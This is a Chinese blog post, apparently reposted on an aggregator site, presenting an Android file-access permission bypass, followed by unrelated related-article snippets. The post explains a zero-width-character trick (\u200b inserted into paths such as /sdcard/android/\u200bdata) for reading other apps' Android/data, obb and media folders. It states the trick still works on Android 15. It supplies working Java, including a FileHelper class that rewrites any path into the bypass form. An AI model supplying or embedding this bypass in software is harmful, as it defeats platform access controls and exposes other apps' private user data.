从android11开始,访问/sdcard/Android/data目录需要URI授权,而从更高的版本开始甚至URI权限也被收回,返回“无法使用此文件夹”的提示,这里提供一种方法,可以越权强制访问data目录,当然也包括obb、media等目录,方法就是利用andoird文件提权漏洞。

漏洞原理:利用\u200b这个unicode字符构造一个文件别名,但实际指向的仍然是目标文件,由于这个字符是零宽度,所以系统会将其不可见字符过滤掉,判断为合规文件,从而绕过系统媒体权限

验证机制,实现了像常规访问文件一样访问data目录,目前这个bug在android15下实测仍然有效。

//获取Android/data下的所有文件
File dataDir = new File("/sdcard/android/\u200bdata");
File[] files = dataDir.listFiles();
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {//如果没有存储权限,先去申请return;
}File dataDir = new File("/sdcard/android/\u200bdata");if (dataDir.canRead()) {//存在漏洞,直接访问其中的文件
}
import android.os.Build;
import android.os.Environment;
import java.io.File;
import java.io.IOException;public class FileHelper {/*** 是否存在该漏洞,判断前要先获取存储权限** @return*/public static boolean canAccessDataDir() {if (Build.VERSION.SDK_INT < 30) {//android10及以下return new File("/sdcard/android/data").canRead();} else {File dataDir = new File("/sdcard/android/\u200bdata");return dataDir.canRead();}}/*** 是否是/sdcard/android目录** @param dir* @return*/public static boolean isAndroidDir(File dir) {File rootDir = Environment.getExternalStorageDirectory();if (rootDir == null) return false;try {File canFile = dir.getCanonicalFile();if (canFile.getPath().toLowerCase().equals(rootDir.getPath().toLowerCase() + "/android")) {return true;}} catch (Exception e) {e.printStackTrace();}return false;}private static String getAndroidPath() {File rootDir = Environment.getExternalStorageDirectory();if (rootDir == null) {return null;}return rootDir.getPath() + "/Android/";}/*** 获取android目录子文件** @param file* @return*/public static File getReviseFromAndroid(File file) {return new File(file.getParentFile(), "\u200b" + file.getName());}/*** 获取修正过的文件** @param file* @return*/public static File getReviseFile(File file) {if (Build.VERSION.SDK_INT < 30) return file;if (file == null) {return null;}String androidPath = getAndroidPath();if (androidPath != null) {String canPath = getCanonicalPath(file);//Log.i("WALX_SPY", canPath + ", " + androidPath);if (canPath.length() > androidPath.length() && canPath.toLowerCase().startsWith(androidPath.toLowerCase())) {return new File(androidPath + "\u200b" + canPath.substring(androidPath.length()));}}return file;}private static String getCanonicalPath(File file) {//file.getCanonicalPath(); //不能直接使用if (file == null) return null;String path = null;try {path = file.getCanonicalPath();} catch (IOException e) {e.printStackTrace();}final String sdcard = "/sdcard/";if (path == null) path = file.getAbsolutePath();if (path.length() > sdcard.length() && path.toLowerCase().startsWith(sdcard)) {String androidPath = getAndroidPath();if (androidPath != null) {path = androidPath + path.substring(sdcard.length());}}return path;}/*** 获取修正过的文件** @param path* @return*/public static File getReviseFile(String path) {return path == null ? null : getReviseFile(new File(path));}/*** 获取修正过的路径** @param path* @return*/public static String getRevisePath(String path) {File file = getReviseFile(path);return file == null ? null : file.getAbsolutePath();}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/89710.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/89710.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/89710.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

本地部署 Kimi K2 全指南(llama.cpp、vLLM、Docker 三法)

Kimi K2 是 Moonshot AI 于2025年7月11日发布的高性能多专家语言模型&#xff08;MoE&#xff09;&#xff0c;支持最大 128K 上下文&#xff0c;激活参数规模为 32B&#xff0c;具备极强的推理、代码生成与多轮对话能力。自从其权重以多种格式开源以来&#xff0c;许多开发者希…

使用python的pillow模块将图片转化为灰度图和相关的操作

使用python的pillow模块可以将图片转化为灰度图&#xff0c; 可以获取灰度图的特定点值&#xff0c;区域值&#xff0c; 修改值并保存到图片 图片转换为灰度图 from PIL import Image# 打开图片 image Image.open("d://python//2//1.jpg")gray_image image.convert…

【网络安全】大型语言模型(LLMs)及其应用的红队演练指南

未经许可,不得转载。 文章目录 什么是红队演练? 为什么 RAI 红队演练是一项重要实践? 如何开展和规划 LLM 的红队演练 1.测试前的准备 规划:由谁负责测试 规划:测试内容 规划:测试方式 规划:数据记录方式 2.测试过程中 3.每轮测试后 报告数据 区分“识别”与“测量” 本…

ROS2安装ros-humble-usb-cam 404错误导致失败的解决方法

ROS2安装ros-humble-usb-cam遇到404错误导致安装失败&#xff0c;如图&#xff1a;解决方法&#xff1a; 备份 sources.list sudo cp /etc/apt/sources.list.d/ros2.list /etc/apt/sources.list.d/ros2.list.bak替换为清华源 sudo sed -i s|http://packages.ros.org/ros2/ubunt…

OllyDbg技巧学习

1 尝试在反汇编代码中找到一个函数的二进制代码 有的时候需要一个函数的二进制代码&#xff0c;注入到另外的一些地方&#xff1b;以此程序为示例&#xff0c; 八叉树的C实现与原理解析-CSDN博客 Ollydbg打开可执行文件&#xff0c;我想先找到此函数的二进制代码体&#xff0…

数据分析智能体:让AI成为你的数据科学家

数据分析智能体&#xff1a;让AI成为你的数据科学家 &#x1f31f; 嗨&#xff0c;我是IRpickstars&#xff01; &#x1f30c; 总有一行代码&#xff0c;能点亮万千星辰。 &#x1f50d; 在技术的宇宙中&#xff0c;我愿做永不停歇的探索者。 ✨ 用代码丈量世界&#xff0c…

K8s与Helm实战:从入门到精通

Kubernetes 简介 Kubernetes(简称 K8s)是一个开源的容器编排平台,用于自动化部署、扩展和管理容器化应用。最初由 Google 设计并捐赠给云原生计算基金会(CNCF),现已成为容器编排领域的事实标准。 核心功能 自动化容器部署:支持声明式配置和自动化部署,减少人工干预。…

根据ARM手册,分析ARM架构中,原子操作的软硬件实现的底层原理

目录 1.问题背景&#xff1a; 2.原子操作 2.1 硬件操作 2.1.1 LDREX/LDXR指令 2.1.2 STREX/STXR指令 2.2 软件操作 2.3 软件硬件操作的各性能对比 3.总结 1.问题背景&#xff1a; 我们知道&#xff0c;RTOS的任务调度算法是抢占式优先级调度算法。 既然是抢占了&…

iOS 抓包工具选择与配置指南 从零基础到高效调试的完整流程

iOS 抓包&#xff1a;复杂网络调试的必要技能 随着移动端应用越来越依赖网络交互&#xff0c;iOS 抓包作为核心调试工具之一&#xff0c;变得尤为重要。无论是调试 App 与后端的接口通信、排查 HTTPS 请求加密问题&#xff0c;还是定位网络连接超时、请求异常&#xff0c;抓包都…

Java使用FastExcel实现Excel文件导入

依赖配置 (Maven pom.xml)<dependencies><!-- FastExcel 核心库 --><dependency><groupId>cn.idev.excel</groupId><artifactId>fastexcel</artifactId><version>1.0.0</version></dependency><!-- Apache POI…

【60】MFC入门到精通——运行后 button按键上不显示 按键名, 控件上的文字不显示

文章目录运行后&#xff0c;button按键上不显示 “Test”原因是属性&#xff0c;图标–>True&#xff0c;改为False就好了。

抖音回应:没有自建外卖,就是在团购的基础上增加的配送功能

今年以来&#xff0c;外卖行业竞争愈加激烈&#xff0c;市场格局风云变幻。在这一背景下&#xff0c;外卖行业动向备受关注。近日&#xff0c;针对抖音上线团购版外卖的消息引发公众关注。为此&#xff0c;大公科技以商家身份咨询了抖店客服&#xff0c;对方回应称&#xff0c;…

中间件安全攻防全解:从Tomcat到Weblogic反序列化漏洞介绍

本文仅用于技术研究&#xff0c;禁止用于非法用途。 Author:枷锁 文章目录什么是中间件中间件漏洞(1) Tomcat(2) Weblogic(3) JBoss漏洞什么是中间件 中间件&#xff08;Middleware&#xff09;是指一种软件组件&#xff0c;其作用是在不同的系统、应用程序或服务之间传递数据…

现代前端开发流程:CI/CD与自动化部署实战

目录 引言现代前端开发面临的挑战CI/CD基础概念前端CI/CD流程设计实战案例&#xff1a;构建前端CI/CD管道自动化部署策略监控与回滚机制最佳实践与优化建议总结 引言 随着前端技术的飞速发展&#xff0c;现代Web应用变得越来越复杂。前端项目不再只是简单的HTML、CSS和JavaS…

MySQL EXPLAIN深度解析:优化SQL性能的核心利器

MySQL EXPLAIN深度解析&#xff1a;优化SQL性能的核心利器 引言&#xff1a;数据库性能优化的关键 在数据库应用开发中&#xff0c;SQL查询性能往往是系统瓶颈的关键所在。当面对慢查询问题时&#xff0c;EXPLAIN命令就像数据库工程师的X光机&#xff0c;能够透视SQL语句的执行…

Sentinel配置Nacos持久化

前言&#xff1a; Sentinel在使用控制台时进行配置是纯内存操作&#xff0c;并没有提供默认的持久化措施&#xff0c;一旦服务重启会导致配置的流控、熔断等策略失效。Sentinel官方提供了多种持久化方式如&#xff1a;Redis、Zookeeper、Etcd、Nacos以及其他方式等。此文以Naco…

Java学习第五十五部分——在软件开发中的作用

目录 一. 前言提要 二. 主要作用 1. 跨平台能力&#xff08;核心优势&#xff09; 2. 企业级应用开发&#xff08;主导领域&#xff09; 3. 安卓应用开发&#xff08;关键角色&#xff09; 4. 大数据处理&#xff08;重要组件&#xff09; 5. 嵌入式系统 & IoT 6. 桌…

Keil编译文件格式转换全解析

目录 介绍 Keil自带常用命令概览 fromelf介绍 Keil可烧录文件概述 核心差异概览 .axf文件获取 .hex文件获取 .bin文件生成 ​编辑 补充:生成可执行文件的汇编代码&#xff08;.asm文件&#xff09; Keil自带常用命令详解 核心功能​​ ​​格式转换​​ ​​输出路…

World of Warcraft [CLASSIC] The Ruby Sanctum [RS] Halion

World of Warcraft [CLASSIC] The Ruby Sanctum [RS] Halion 红玉圣殿海里昂 清小怪小德可以睡龙类 打完3个副官就激活 【海里昂】 第一阶段&#xff1a;外面环境&#xff08;现实位面&#xff09;火抗光环 第二阶段&#xff1a;内场环境&#xff08;暗影环境&#xff09;暗…

Excel基础:格式化

Excel格式化是指对单元格内容进行视觉呈现方式的调整&#xff0c;它不改变实际数据内容&#xff0c;但能显著提升数据的可读性&#xff0c;根据格式应用的范围&#xff0c;格式可分为"单元格格式"和"数据格式"。本文介绍了这两类格式的主要设置方法&#x…